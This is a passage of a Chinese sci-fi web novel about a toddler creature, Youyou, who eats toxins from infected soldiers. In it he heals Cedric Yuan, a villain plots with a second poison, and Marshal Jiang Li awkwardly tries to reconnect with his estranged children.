好在,无论是什么样的异能者,只要中了毒,在又又眼里就根本逃不掉。 而且,比起之前那名在闹市区大开杀戒的感染者。 这名感染者所在的地方却空旷许多,也让众人更能放开手脚。 所以,哪怕这名感染者的异能更强大,也更棘手。 但在众人的合力围攻下,最终还是将他成功地困在了临时的牢笼中。 又又早已迫不及待。 在姐姐确定没有危险后,小幼崽立刻上前,愉快地大快朵颐起来。 只是吃着吃着,又又忽然疑惑地皱起了眉头。 味道……好像和之前不一样了。 他下意识耸了耸鼻子,仔细分辨。 在YHC-03毒素浓郁的味道之下,似乎还有另一种毒素的香气。 江昭晏一直关注着小幼崽,见他皱起眉,顿时担心地问道:“又又,怎么了?累了吗?” “没有累!”小幼崽连忙道。 哎呀!不管了! 反正都吃掉就好了。 小幼崽顿时不再纠结,大口大口地吃了起来。 随着他的小肚子微微鼓起,感染者身上那些狰狞的青黑色血管也在迅速消退,露出了本来的面容。 那是一张极其年轻的脸。 深蓝色的发丝凌乱地散在额前,五官俊美清冷,薄唇紧抿,即便昏迷着,也依然难掩他出众的相貌。 又又摸着饱饱的肚皮,满足地起身。 江昭晏松了口气,示意待命的医疗机器人上前,准备将这人运回临时指挥所。 江见微靠在轮椅上,异能入侵对方的通讯器等设备,检查是否有自动摄录,拍到了不该拍的东西。 而另一边,江从谦则在和加尔文军团长商量后续的安排。 谁都没有预料到,地上原本应该进入深度昏迷的男人,睫毛微微颤动。 下一秒。 一双眼睛毫无征兆地睁开。 他的瞳色是极淡的灰蓝色,在深蓝色睫毛的掩映下,宛如极地冰川般冷冽。 江昭晏几乎是瞬间就意识到不对:“小心!” 但已经来不及了。 几乎是同时,空气中的水汽凭空凝结成了冰晶,化作一只巨大的手掌。 江见微下意识将又又推到姐姐怀中,而自己却被那只冰晶大掌凌空抓起,牢牢禁锢起来。 “见微!!” “三哥!!” 变故发生得太突然,众人根本来不及反应。 毕竟他们所有的防备几乎都是针对感染者,谁能想到,在毒素被清除之后,反而会出现这样猝不及防的危险。 江昭晏又气又急,异能已经在掌心涌动。 却又因为弟弟被对方控制在手里,而投鼠忌器,不敢贸然攻击。 反倒是加尔文,在看清他的脸和那标志性的冰系异能后,骤然想到了一个名字:“等等!你……你是塞德里克·尤安?!” 名叫塞德里克的男人看向加尔文,眼中飞快掠过一丝诧异,但随即被更深的警惕取代:“原来是第七军团的加尔文军团长!” 而一旁的江从谦,在听到尤安这个姓氏的瞬间,瞳孔猛然收缩。 毕竟这个姓氏,在整个中央星系都赫赫有名。 尤安家族是联邦历史悠久的军事世家,在江砺崛起之前,上一任联邦元帅便出自尤安家族。 即便这些年衰落不少,但瘦死的骆驼比马大,在军中,尤其是第二军团内部,他们的势力依旧盘根错节,影响力不容小觑。 而塞德里克,就是尤安家族年轻一辈里,最有出息的一个。 但据说,他出身不好,早年并不是家族培养的对象,直到近几年才凭借战功拼杀出来,成为同辈中的佼佼者,被家族重新重视,并大力扶持。 如今,他已经是军部中一股迅速崛起的势力,只是因为平时性格低调,并不轻易站队,算是军部有名的中立派。 而这样一个人物,为什么会悄无声息地出现在这里,还因中毒变成了怪物?! 江从谦脑海中迅速闪过无数阴谋诡计。 但这些现在都不重要。 最重要的,是要将三弟从他手上安全地救下来。 又又都快急哭了。 他怎么都没想到,他明明好心吃掉了这人身上的毒素,为什么这个人醒来后的第一件事情却是要抓他们! 小幼崽的小脸憋得通红,声音里都带着哭腔:“你这个坏人!你快放了我三哥!” 塞德里克却怔了一下。 和其他的中毒者不同,塞德里克中毒后,还保留了微弱的意识。 因而,他并未和其他中毒者一般疯狂杀人,反而强撑着最后一点理智,让自己往空旷的地方跑。 在被牢笼困住,失去行动能力之后。 他模糊地感觉到,一只柔软温暖的小手轻轻碰触到了自己的皮肤。 紧接着,那些原本纠缠于他脑海中的暴虐、剧痛以及吞噬他理智的黑暗,竟在缓缓消退。 他渐渐清醒过来,原本失控的身体,也一点一点重新回到了他的掌控之中。 江从谦此时已经冷静下来。 他的目光紧紧地盯着塞德里克的一举一动,敏锐地捕捉到了他这稍纵即逝的怔忪。 与此同时,他脑中异能疯狂催动。 闪过无数塞德里克有关的资料,包括他的家庭、性格、处事,一个大胆的猜测瞬间在他脑中成型。 他一把按住焦急的江昭晏,沉声道:“塞德里克少将,如果我们想害你,你根本就没有机会醒来,而且,你在中毒后应该还保留着微弱的意识吧?那你就应该知道,我们不仅没有害你,反而还救了你。” “中毒?”塞德里克皱起眉头。 江从谦坦然道:“没错,YHC-03生物毒素。” 听到这个名字,塞德里克浑身的肌肉瞬间紧绷。 之前,这种毒素在第七军团掀起的风浪,他也有所耳闻。 江砺元帅更是借着这个机会,狠狠整顿了军部,这件事牵连甚广,至今余波还未平。 而此时,自己却身中这种毒素,任谁都只会想到,这就是江砺元帅和第七军团合伙演的一场戏。 可偏偏被江从谦这样坦然地说出后,塞德里克反而有些拿不准了。 塞德里克看着江从谦那张,和江砺元帅有七八分相似的脸,微微眯起眼睛:“我凭什么相信你?江从谦先生?” 被他叫破身份,江从谦心里反而一松。 塞德里克性格稳重,磊落,恩怨分明。 与其遮遮掩掩隐瞒他,倒不如坦诚相待,反而更容易获得他的信任。 江从谦语气平稳,继续道:“既然你认出了我的身份,就应该知道,我们没有任何理由要害你。” 塞德里克没有说话,目光却是示意江从谦继续说下去。 “军部述职在即,任何不稳定的因素都对我们不利,何况是蒂奢星区动乱这样的大事?” 江从谦略微加重了语气,逻辑清晰地分析,“更重要的是,如果你出了事,尤安家族必定不会善罢甘休,一旦有人借机,向我们的……父亲发难,局面只会更加混乱失控,这绝不是我们乐于看到的。” 塞德里克的目光微微闪烁,但警惕却仍未完全退去。 他冷声道:“也许,你们是借由这种方法博得我的好感呢?” 毕竟,作为中立派,是各方都想要拉拢的对象,他不得不谨慎。 “谁要你的好感啦!不要脸!” 一个气鼓鼓的小奶音,脱口而出,“你这个坏蛋!早知道……早知道我就不把你身上的另外那个毒素也吃掉了!!” 小幼崽脸颊通红,眉头皱得死紧。 他实在是忍不住了,只不过他自以为声音很小,却没想到现场很安静,大家又都是异能者,几乎都听得清清楚楚。 塞德里克浑身一震:“什么叫……另外一种毒素?!” 又又鼓着脸,不想理他。 加尔文却瞬间意识到了事情的严重性,神情一肃:“又又乖,这件事很重要,你的意思是,塞德里克体内除了YHC-03,还有另一种毒素?” 因为问话的是加尔文,小幼崽态度缓和了些,肯定地说道:“是啊,还有一种……唔,很厉害的毒素!一个让他疯疯的,一个让他乱乱的……” 小幼崽的描述有点可笑,却像一道惊雷,劈中了塞德里克心中那个隐隐不安的角落。 他近段时间,身体的确是有些不对劲。 有好几次异能都差点失控,好在他掌控力强悍,勉强控制住了。 他去过军部最顶尖的医疗中心做过全面检查,结果却一切正常。 最后,医生甚至怀疑,他很有可能患上了异能失控症。 在军部,尤其是对于他这样身处高位的军官来说,患上异能失控症,几乎等同于职业生涯的终结。 一旦确诊,不但前途尽毁,家族也会毫不犹豫地放弃他。 他所有浴血拼杀换来的一切,都将成为泡影。 塞德里克为此消沉许久,要不然也不会在这种时候来蒂奢星区散心。 可如果,这并不是病,而是有人刻意给他下毒呢? 他向来谨慎。 能近距离接触他,甚至下毒的人,范围极小。 除了他绝对信任的几名亲信,剩下的……便只有家族中的人了。 想到这里,他的心里不禁一寒。 如果说这话的人是江昭晏,又或者是别的什么人,他大概还不会这么快相信。 可现在说这话的,是个才四五岁的孩子。 江从谦他们或许会骗他,但这么小的孩子,必然没有这份心机。 何况,塞德里克也隐约感觉到。 当时救下自己的,很有可能就是面前这个气鼓鼓的小幼崽。 于是,他沉默了片刻。 在众人紧张的注视之下,禁锢着江见微的冰晶缓缓融化。 江见微只觉得周身一松,冰凉的感觉退去,脚下也重新踏上了坚实的地面。 莱兹等人立刻上前,小心地将他搀扶回来。 “三哥!!”又又像小炮弹似的扑进他怀里,“呜呜呜呜!吓死我了!!” 江见微差点被弟弟撞了个踉跄,看着小幼崽的脸都哭花了,心中酸软,有几分笨拙地安慰他,“三哥没事,别哭了。” 塞德里克心里浮起一丝歉疚。 其实,通过江从谦的分析,他心中已经有了判断。 正如对方所说,在他失去反抗能力的情况下,如果他们真想害他,他根本就没可能醒来。 再说,就算江元帅真的要用这种方法拉拢他,也不至于让自己的亲生孩子来涉险,何况外界一直有传言,说他和几个孩子之间的关系并不好。 而如今小幼崽说到的另一种病毒,如果是事实,更是坐实了他们的清白。 他站直了身体,面对着虎视眈眈的众人,认真道:“这件事事关重大,我会彻查清楚,找出真相。” 他说完,就要离开。 “等等。”江从谦却叫住他,“我希望你能承诺,不将今天发生的事情传出去。” 塞德里克一愣,随即明白了什么。 小幼崽的能力简直匪夷所思,一旦传出去,恐怕会带来无法预知的危险。 因而,他没有犹豫,干脆利落道:“好,我塞德里克·尤安,以我个人的名誉起誓,绝不将今天的事情泄露半分。” 塞德里克的人品还是很有信誉的。 听到他的誓言,江从谦松了口气。 塞德里克最后看了眼埋在哥哥怀里的小幼崽。 小幼崽根本不搭理他,只露出了一个毛茸茸的栗色脑袋。 塞德里克沉默片刻。 如果事实证明,是这个孩子救了他,而他却恩将仇报,险些伤了他们…… 他沉默地收回目光,将那份没有言明的承诺,压在了心底。 看着塞德里克离开的背影,在场众人都不由得松了口气。 加尔文摸了摸又又的头发,鼓励道:“又又真厉害!” 小幼崽还在为自己救了白眼狼而生气。 听到加尔文这样说,小幼崽鼓着软乎乎的脸颊,绿眸也湿漉漉的,小声嘟囔:“可他欺负三哥,他是坏人!” 听到小幼崽的话,加尔文失笑。 只觉得在孩子眼里,世界就是这样简单纯粹。 但江从谦却看出了小幼崽的自责与后怕。 他很快便明白过来。 又又还在害怕,自己救了人,却害了自己的家人。 “又又。”他蹲下来,双手扶着又又的肩膀,认真地说,“救人是没错的,我们又又是好孩子。” 又又怔怔地看着他:“真……真的吗?” 对于食病兽来说,吃掉病症,救助人类是本能。 可如果,他救下的人类,伤害了他最爱的家人那该怎么办呢? 这个可怕的念头,让小幼崽进入了前所未有的迷茫中。 “真的!”江从谦的语气坚定,瞬间就驱散了又又心头的迷茫。 江见微这才明白又又在担心什么,他伸出手,轻轻握住小幼崽攥紧的拳头。 “是啊,又又,你看,哥哥并没有受伤啊,如果又又不救他,我们才有可能受伤呢!” 江昭晏也轻哄小幼崽:“以后,哥哥姐姐都会更小心地保护自己,保护你,又又不用担心。” 在哥哥姐姐的安慰下,又又很快就从迷茫中走了出来:“所以,又又……没做错?” “当然!”加尔文语气庆幸,“又又,你今天又立了大功了!” 如果不是又又在这里,无论塞德里克身亡,亦或是被发现感染YHC-03,都会引发一场剧烈的风暴。 又又给所有人都避免了一场大|麻烦。 被夸奖了的又又,很快就忘记了之前的不愉快,叉着腰得意地说:“我就说嘛!我很厉害哒!” 原本还略带一丝紧绷的气氛,瞬间变得轻松起来。 加尔文站起身,和江从谦说道:“这件事必须立刻报告给元帅,赛德里安中毒的事情,背后牵扯恐怕比我们想象得更深。” 江从谦并没有拒绝。 即便只是为了又又,这件事也必须告诉父亲。 而江砺知道这件事后,神情果然变得凝重起来。 正如加尔文所说,如果今天不是又又在这里,这将会成为一桩大|麻烦,甚至会影响到后续军部改革的推行。 带来的连锁反应更是不堪设想。 而此时,除了这两名高阶感染者,剩下的的感染者也都被找了出来。 一场原本可能席卷整个星区,造成惨重伤亡的灾难,就这样被悄无声息地化解。 江砺下意识看向又又。 小幼崽还不知道自己干了多么厉害的事情,正在跟哥哥姐姐讨价还价,好不容易获得心心念念的奖励——一包辣条。 小幼崽珍惜地捏着一根,塞进嘴里。 熟悉的味道席卷口腔,幸福得他把眼睛都眯了起来。 “又又。” 突然被叫到名字,小幼崽吓了一跳,差点把宝贵的辣条掉在地上。 他手忙脚乱地护住零食,这才看向声音来源,疑惑地问:“伯……唔,爸爸,什么事情?” 被幼子差点叫成伯伯,让江砺有点心塞。 可是,看到小幼崽圆溜溜的眼睛,还有那被辣油染红的嘴巴,他又心头一软,认真道:“又又,谢谢你。” 又又眨了眨眼,似乎没想到会收到这么正式的感谢。 他咽下嘴里的辣条,眉眼弯弯,回答得理所当然:“不用谢呀!” 反正他吃得也很开心。 江砺看他珍惜地抓着辣条,犹豫道:“你喜欢吃这个吗?爸……爸爸可以给你买。” “真的吗?”又又顿时眼前一亮,沾满辣油的爪子抓住了江砺的袖口,留下一个醒目的油指印。 江砺却恍若未觉,全部心神都被小幼崽的忽然亲近所占据,他几乎是立刻承诺:“嗯,你想要多少,爸爸都给你买!” “那我……” 又又立刻兴奋地开始掰指头,盘算着要买多少包。 “又又。” 一个平静无波的声音自身后响起。 又又立刻缩起脖子,慢吞吞转过身,对上大哥没什么表情的脸。 江从谦淡淡道:“你答应了只吃一包辣条的。” 江砺看着又又可怜巴巴的表情,有些于心不忍,正想要劝几句。 小幼崽却立刻指向他,脆生生道:“我没有,是爸爸说要给我买的!” 江砺:“……?” 江从谦淡淡地看了眼江砺。 向来威严沉稳的江元帅,此刻竟在儿子的目光中,感受到了一丝无形的压力。 莫名觉得自己矮了一截。 “您可能不知道,又又之前就因为爱吃零食,饭也不好好吃,我们才给他定下规矩的。”江从谦顿了顿“养育一个孩子要付出的心力没有那么简单,并不是一味溺爱就行的。” 江砺怔住了。 江从谦的话像是一根细针,精准地戳中了他内心的软肋。 这些年,因为公务,在孩子们最需要他的时刻,他永远都在缺席,完全没有尽到做父亲的责任。 江从谦也没有再继续说下去。 有些话点到即止,说到了反而像是抱怨。 他收起情绪,恢复了一贯的疏离有礼:“时间不早了,我们就不打扰您处理公务了。” 眼见他们要离开,江砺下意识道:“我……送送你们。” 江从谦并没有多说什么。 他只是拿毛巾给又又擦干净手,把他抱起来,又招呼江昭晏和江见微离开。 江砺沉默地跟在他们身后几步远的地方,看着前方四个孩子的背影。 江从谦抱着又又,江昭晏自然地推着江见微的轮椅,四人之间流动着一种无需言说的默契与亲密,像是自成一个小世界。 而他像个突兀的旁观者,被隔绝在这个世界之外。 江砺心中酸涩,他这些年,真的亏欠他们太多了。 他不知不觉就跟着他们走到了接驳船旁。 江从谦停住了脚步,回头看向江砺,礼貌颔首:“那我们就先走了。” 江砺喉结微动,尝试着再次开口,声音因为期待而有些干涩:“要不,还是回元帅府住吧?老宁一直把家里打理得很好,你们的房间……也一直留着,都重新收拾过了。” 江从谦等他说完,才说道:“不用麻烦了,我那里自有住处。” 又又也点点头,语气雀跃:“对啊,我好想莫管家啊!” 江砺又看向其他两个儿女,带着最后一丝希冀。 江昭晏:“又又在哪,我在哪。” 江见微:“同上。” 江从谦等了一会,见他没有再说话,便道:“既然这样,那我们就先告辞了。” 说完,四人就坐进了接驳船里,朝着九壤号的方向飞去。 这时,加尔文才走过来,不可置信地看着江砺:“你就这么……让他们走了?” 江砺脸上难得露出几分颓然:“……他们不愿意去住元帅府。” “他们不去住元帅府,你不知道去从谦家住吗?”加尔文简直恨铁不成钢。 江砺显然没有想过,还有这种选择。 但他最终也只能勉力维持脸上的表情,生硬地转开话题,像是给自己找了个台阶:“我还有公事要处理。” 加尔文最后只能恨恨地丢下一句话:“……你再这样下去,就等着孤独终老吧!” 第55章 中央星系。 殷质懒懒地靠在沙发上,修长苍白的指尖,正漫不经心地把玩着一管幽蓝色的液体。 随着他的动作,那液体在管壁内缓慢流转,折射出冰冷诡谲的颜色。 这时,房间的门被无声推开一条缝隙。 一名黑西装战战兢兢地走进来。 他的目光触及到殷质手上那管幽蓝色液体时,脸上不禁露出几分畏惧,垂着头道:“大人……” 殷质没有抬眼,冷冷道:“说。” 黑西装咽了咽口水:“……蒂奢星区的行动,失败了,动乱刚刚开始,江元帅就带人把整个星区都戒严封锁了,那些被感染的异能者都被控制住了,他们还有检测毒素的办法,并未如我们预料的那样,发生大规模骚乱……” 他说完就立刻闭紧了嘴巴。 本以为殷质会大发雷霆,没想到他反倒陷入了沉思。 黑西装等了一会,也没有等到他说话,极小声地试探:“大、大人……” 殷质却突然问道:“那些感染者现在在哪里?” 黑西装一愣,连忙回答道:“这些都是由江元帅手下的特勤队负责的,我们的人怕暴|露,不敢跟得太近,跟……跟丢了。” 他小心地观察着殷质的脸色,又迟疑地补充道,“不过,这些感染者被转运之前,我们的人汇报说,有好几个感染者,虽然被束缚服遮住,但看起来……异常平静,和我们实验数据记录的状态,完全不一样……” 他汇报完,却惊愕地发现,殷质的脸上竟缓缓露出了一点笑意:“果然如此。” 黑西装愣住:“大人?” 殷质没有理会属下的困惑,他靠回沙发,目光幽深。 他这次在蒂奢星区精心策划的一切,一方面是为了报复江砺,另一方面则是一个大胆的试探。 当初第七军团的那次失利,他就一直心存疑虑。 至于外界传言的,这是第七军团医疗研究的突破,他更是一点都不相信。 而那段时间,进出第七军团的外人屈指可数,其实最特殊的,就是江从谦和他身边的那个孩子。 根据他们探查来的信息,那个孩子,据说就是元帅好不容易找回来的幼子。 如今,蒂奢星区这场看似失败的行动,却带回了更有价值的信息。 他终于确认,江从谦,又或者江家手中,的确掌握着能解除YHC-03毒素的手段。 甚至,加尔文的康复,或许也与他有关。 只是关于这一点,还需要想办法再次确认。 殷质眸光越盛,手指下意识轻抚脸上的暗金色眼罩。 只要他能掌控这个秘密,定然能再次翻盘。 想到这里,他又问道:“对了,塞德里克那边怎么样了?” 黑西装心头一凛,小声嚅嗫:“我们的人并没有在感染者中找到塞德里克……” “废物!”殷质冷声骂道。 不过他也并不意外。 塞德里克身份特殊,江砺如果看到他,肯定会意识到有阴谋,一定会想办法先帮他解了毒。 不过,YHC-03的暴|露,本就是他计划中的一环。 他的脸上缓缓浮起一丝轻蔑的笑意。 尤安家的那几个蠢货,还真是好用的很。 有他们在前面吸引火力,谁能想到,他真正的杀手锏,是早已悄然埋下的第二种毒素呢? 塞德里克大概做梦也想不到,他的体内早已被下了另一种更隐蔽的毒素。 等他拖着解了毒的身体回到家族,与那些暗算他的亲人斗得你死我活,把尤安家族搅得天翻地覆的时候,那潜藏的第二种毒素就会发作。 到时…… 殷质的目光落在掌心这管幽蓝色液体上,缓缓地勾起嘴唇。 只要没有塞德里克,他的人自然能慢慢把尤安家的势力接手。 第二军团,迟早是他的囊中之物。 就在这时,另一名黑西装仓皇地推门而入:“大人,不好了!” 殷质不悦地皱起眉:“什么事?慌慌张张的!” 黑西装被他的目光一刺,下意识打了个寒颤,咽了口口水:“大、大人,刚传来的消息,塞德里克回到尤安家族了!而且他一回去就公开宣称自己遭人投毒暗害,要求彻查,动静闹得非常大……” “就这点事?”殷质没好气道,“无非就是把那几个蠢货给揪出来,这不是意料之中的吗?值得你这么大惊小怪?” “不,不是的……大人。”黑西装哭丧着脸道,“他不仅把家族内鬼抓出来,还顺着这条线,把我们的人也给挖出来了!” “什么?!” 殷质瞬间坐直了身体,脸上的笑意僵住- 塞德里克回到家族后,他遇袭中毒的事情,果然引发了轩然大|波。 在他的一番彻查之后,家族那几个给他下毒的人,很快就扛不住了。 但他们却坚称,自己只下了YHC-03,死活不承认自己还下了一种毒素。 塞德里克这才意识到不对,顺着查下去,果然查到了一颗在他身边埋藏了数年,隐藏得极深的钉子。 再想查下去,线索却断了。 但即便如此,也把塞德里克吓出了一身冷汗。 如果不是蒂奢星区的那场意外,让他遇到了又又他们,解掉了第二种毒素。 他恐怕到死,都只会以为自己败给了家族内斗,而不知幕后还有黄雀。 塞德里克心中对又又越发感激。 这么重大的恩情,本该他亲自上门,郑重道谢才对。 但塞德里克却知道,有无数双眼睛正在盯着自己,他担心把这些不怀好意的目光引到又又身上,便只能退而求其次,通过江砺元帅转达。 江砺还正愁没有机会登门。 上次他回去后,还没进门,就对上了管家宁叔期待的目光。 只是老宁很快就看到他空空如也的背后。 虽然老宁什么都没说,只是轻轻叹息几声,但江砺心里却很不好受。 元帅府一如往常空旷冷清,却让他感受到了前所未有的孤寂。 他甚至都有一点后悔。 早知道,宁愿像加尔文说的那样,跟着去从谦家中。 而塞德里克的请求,简直就是递到手里的台阶。 江从谦知道后,却并没有独断,反而召集了弟弟妹妹商议。 “父亲晚些时候会过来,说是要替塞德里克少将转达谢意,你们怎么看?” 江见微刚刚结束了一轮复健训练,浑身都被汗打湿了,毫无形象地坐在地上,有气无力地扯了扯嘴角:“我没问题……” 如果说,他之前对父亲还有些怨怼。 但在每天可怕的复建运动里,他现在唯一的希望就是谁来解救他。 江昭晏冷笑,一眼就看穿了他的小心思:“别做梦了!不管是谁来,你该完成的任务还是要完成,别想偷懒!” “好了,休息时间到了,快点,下一组!” 江见微像一条死狗一样,被江昭晏拖到了复建器械前。 很快,一声凄厉的惨叫传来。 又又正坐在一旁玩最新款的蛋壳小鸡模型屋,被三哥的惨叫吓得手一抖,手里的零件差点掉下去。 他同情地看了眼面容扭曲的三哥,小声道:“三哥好可怜哦……” “又又,你三哥要是偷懒,今天就不许给他治疗身上的酸痛!” 二姐的声音传来,又又对三哥露出一个爱莫能助的表情,乖乖地应了一声。 江从谦轻笑一声。 自从弟弟妹妹回来之后,家里热闹多了。 他抬手,摸了摸又又的额发:“又又呢?想见爸爸吗?” “我都可以呀!” 小幼崽对爸爸没什么概念,既不亲近,也不抵触。 只不过在哥哥离开后,他恍然想起什么,“啊”了一声。 糟糕! 忘记告诉哥哥了,今天卢西恩叔叔也说要上门来找他的。 不过,听说卢西恩叔叔是爸爸的秘书官。 问题应该不大吧。 江砺特意准备了礼物给孩子们。 悬浮车停在江从谦宅邸前,他竟有些忐忑。 他理了理衣领,正要上前,却在门口和自己的首席秘书官撞了个正着。 “元帅!”卢西恩愣了一下,随即行礼。 江砺有些意外,却只是摆摆手:“私下场合,不必多礼,你这是……” “哦,是这样的,我偶尔会上门来教又又养生。”卢西恩笑了笑,“刚好,最近见微在复建,我还是有些心得的,就给他们找点有用的东西……” 江砺听他熟稔地说着和又又几人的关系,还有点茫然。 卢西恩跟他们,什么时候关系这么好了? 但随即,他便敏锐地捕捉到了,他话里那个特别的词汇:“复建?见微怎么了?” 卢西恩也愣住了:“您不知道吗?” 江砺沉默了。 他自然注意到了江见微坐在轮椅上,却以为他是在蒂奢星区受的伤,临时坐一下轮椅。 可竟然闹到要复建的地步,岂不是说,他在轮椅上已经坐了很多年了? 还有昭晏,她被灵基射线污染的事情,也是加尔文告诉他的。 明明是他的亲生孩子。 可他们受伤,生病,他这个做父亲的,却总是从别人口中才知道。 他真是失败啊! 卢西恩也没想到,自己这样一句话,竟惹得元帅神情黯然。 还没等他用异能推演。 江砺忽然问道:“你经常过来吗?” 卢西恩谨慎地说道:“也不算经常,从第七军团回来之后,这还是第三次……” 江砺心里又被狠狠地扎了一刀。 他这还是第一次上门。 甚至都是借的提塞德里克转达谢意的由头。 这时,庄园的大门缓缓打开。 莫管家已经静候在了门后,看见他们,脸上露出得体的微笑,躬身道:“江元帅,卢西恩秘书官,下午好,先生他们正在花厅等候,请随我来。” 这是标准的迎接客人的礼节。 虽然知道莫管家的做法挑不出错,但江砺心里却还是有些难受。 不过,他什么都没说,只是沉默地又坐上悬浮车,跟着莫管家朝花厅而去。 花厅里,江见微终于完成了今天的复建任务,一动不动地躺在地上,旁边的机器人絮絮叨叨地说着健康知识。 江昭晏则陪又又在玩游戏,时不时传来小幼崽清脆的笑声。 而江从谦独自坐在靠窗的桌边,面前展开着光屏,手指滑动着,正是在处理公务。 阳光透过巨大的玻璃穹顶和侧窗倾泻而下,勾勒出这样一幅动静皆宜的画卷。 仿佛有种外人插不进去的宁静温馨。 江砺脚步下意识一顿。 还没等他调整好表情,又又似乎察觉到了这边的动静,转过脸来。 随即,他眼前一亮,哒哒哒得跑过来。 江砺下意识去迎接,小幼崽却是径直跑过他身边,扑到了他身后的卢西恩怀里,兴奋地问道:“卢西恩叔叔!你上次说的古法呼吸调节的资料,找到了吗?” 卢西恩下意识抱住小幼崽,脸上的笑容刚刚浮现,余光就瞥见身旁那道沉默而挺直的身影。 差点忘了。 孩子他爸还站在自己身边呢! 他话音顿时一转,将话题丝滑地转到了元帅身上。 “又又,看这是谁来了?” 小幼崽仰头看着江砺,江砺连忙露出一个温柔的表情。 “是爸爸!”又又脆生生地说道,“你好。” 听得江砺心头一软,正想要跟又又说说话。 而打完招呼的小幼崽,却已经飞快地爬到了卢西恩的怀里,嘀嘀咕咕地跟他说起了别的。 江昭晏走上前,疏离而客套地说道:“您先请进吧。” 明明是亲父女,彼此之间却比陌生人还要生疏。 甚至都不如跟卢西恩熟稔。 眼看着就要冷场,江砺连忙拿出准备好的礼物。 他的礼物都是自己亲自选的。 然而,贵重是有了,收到礼物的人却看不出有多么喜欢。 兄妹三人礼节性地表示了谢意,便都将礼物收了起来。 反倒是卢西恩带过来的那些小东西。 不管是古法呼吸调节的资料,还是给江见微准备的复建小工具,给江昭晏带的拳套,虽然朴实得多,但显然更对他们的胃口。 江砺的心微微下沉。 他忽然清晰地认识到,这么多年,他对孩子们的了解是如此匮乏。 他唯一知道的,就是又又喜欢蛋壳小鸡,连这都还是卢西恩告诉他的。 他定了定神,拿出那个最新款的蛋壳小鸡模型屋礼盒,试图弥补。 无论如何,至少这个是不会错的。 可谁知,在场几人看到这个包装后,都不约而同地顿了一下。 江砺下意识看向不远处的地毯上,上面有一个几乎一模一样的模型屋。 阳光照着那个色彩鲜明的屋顶,竟晃得他眼睛有些发涩。 江砺那双从来稳定的手,竟微微地颤了一下。 原来……又又已经有了同款的玩具。 他却根本不知道。 又又只看到,面前高大的身影似乎微微佝偻,脸上也有一瞬的无措。 小幼崽不知道为什么,觉得他有点可怜,于是忍不住安慰他:“没关系的呀,爸爸,我可以把这个新的放在房间里,这样,我就有两个模型屋了!” 小幼崽体贴的话,却令江砺感觉到羞愧。 他张了张嘴,想要说些什么,却又什么都说不出口。 倒是江从谦不知道什么时候从窗边起身,走到旁边,目光扫过那件礼物,声音淡然平静:“元帅公务繁忙,能记得又又的喜好,已经是非常难得了。” 这话听起来是在替江砺解围,然而怎么看都像是在阴阳怪气。 江砺胸口一窒,却根本没有话可以反驳。 卢西恩只觉得空气都要凝固了。 他尴尬得能原地抠出一艘星舰,连忙上前打圆场:“咳咳,那个……又又,我们先去看看新模型吧!” “好哦!”又又并未察觉出大人们之间微妙的暗流,高高兴兴地拉着卢西恩去玩新的模型屋了。 卢西恩松了口气。 可是,看着元帅落寞的背影,心里却是又急又无奈。 这样下去可不行啊! 这时,他的目光落在了眼前的模型屋上,顿时有了主意,说道:“又又,你看这些模型屋,是不是很漂亮,其实都是有原型的哦!比如这个,它的原型叫做星穹回廊,就在军部附近。” 又又果然被吸引了,顿时睁大了眼睛:“真的吗?卢西恩叔叔去过吗?” “当然去过。”卢西恩笑着点头,但随即又露出了遗憾的表情,“不过,这里除了公共开放日,平常是不可以进去的。” 又又的小脸顿时垮了下来,失望道:“那我是不是看不到了?” 卢西恩等的就是这句话。 他状似不经意地抬高了一点声音:“也不是完全没办法,如果有军部的人带你,就可以进去,比如……你可以找元帅带你去啊!” 江砺一直留意着这边的动静,闻言心头一动,连忙道:“是啊,又又,爸爸可以带你去。” 谁知,又又想了想,却很认真地摇摇头:“不行啦,哥哥说了,元帅公务繁忙,我们不可以打扰你工作的!” 他说完,又扯了扯卢西恩的衣角,小声道,“卢西恩叔叔,你是不是在军部上班呀,要不,还是你陪我去好啦!” 小幼崽懂事体贴,可听在江砺耳中,却又是被狠狠扎了一刀。 在又又眼中,他不是可以随时撒娇,随意提出要求的爸爸,而是需要保持距离,不能随意打扰的元帅。 但他却可以直接求助卢西恩,这样的分寸,比直接的疏远更让他心头刺痛。 江砺神色黯然,但最终也没有违背小幼崽的意思,只是让卢西恩带他出去的时候,多带两个近卫- 于是,几天后,休假的卢西恩便依诺带又又去看星穹回廊。 星穹回廊位于军部与外事区之间。 是一座造型别致,仿佛由星光构筑的透明穹顶建筑,光线穿过穹顶,在内部漫射出无数星光,简直如梦似幻。 因而,这里不仅是连接两区的通道,本身也是个很受欢迎的公共休息区。 不少联邦的工作人员都会在这里休息,游玩。 又又很快就把这个建筑,和模型屋联系起来,兴奋地对卢西恩说道:“卢西恩叔叔,这个和模型屋真的好像啊!” 卢西恩一边应和,一边拉着他的手,免得小幼崽太兴奋,从栏杆上摔下去。 又又在星光摇曳的回廊里跑来跑去,瞬间觉得自己就像是住在模型屋里的蛋壳小鸡似的。 玩得不亦乐乎,小脸上都是兴奋的红晕。 卢西恩耐心地陪着他。 但心里却琢磨着,一会等又又玩尽兴了,就顺路带他去军部食堂偶遇一下元帅,看能不能创造个机会一起用个午餐。好歹增进点感情。 而不远处,一个脸色苍白,带着病容的中年女人,正牵着一名五六岁的小女孩坐在长椅上。 她看似在陪孩子,实则目光若有似无地扫过又又的方向。 眉头微微皱起,这孩子身边除了卢西恩,竟还有两名元帅近卫,正不远不近地保护着他。 这时,她看到卢西恩似乎对那孩子说了句什么,转身朝洗手间的方向而去。 她立刻牵着小女孩起身,朝着又又走去。 虽然不知道上面为什么会让她,这样大费周章地来试探一个孩子,但这个任务并不算难。 大部分人都不会对女人和孩子这样的组合,有太大的戒心。 而且,她观察有一阵子了,这个孩子性格善良,热心,非常容易接近。 而就在她们距离又又还有几步远的时候,她立刻伪装摔倒,小女孩也立刻在她身旁哭了起来。 女人一边呼痛,一边用余光看着小幼崽。 见他果然站了起来。 女人心中暗喜,呼痛声更大。 可下一秒,小幼崽竟然将脑袋转到了与她完全相反的方向,哒哒哒地朝回廊的另一端跑去。 女人:“?!” 什么情况! 她下意识顺着小幼崽的方向看去。 却见回廊尽头,一处被绿植掩映的休息椅上,正安静地坐着一名少年。 他看起来不过十岁左右。 一头银发如月光流泻,衬着精致得不似真人的面容,一双剔透深邃的紫眸,淡漠冷然。 阳光透过穹顶,在他周身笼上一层淡淡的光晕,安静得与周遭略带喧闹的环境格格不入。 看着他,又又的眼睛都亮了起来。 虽然已经很久没有饿过了。 但……这个人真的好香好香啊!! 第56章 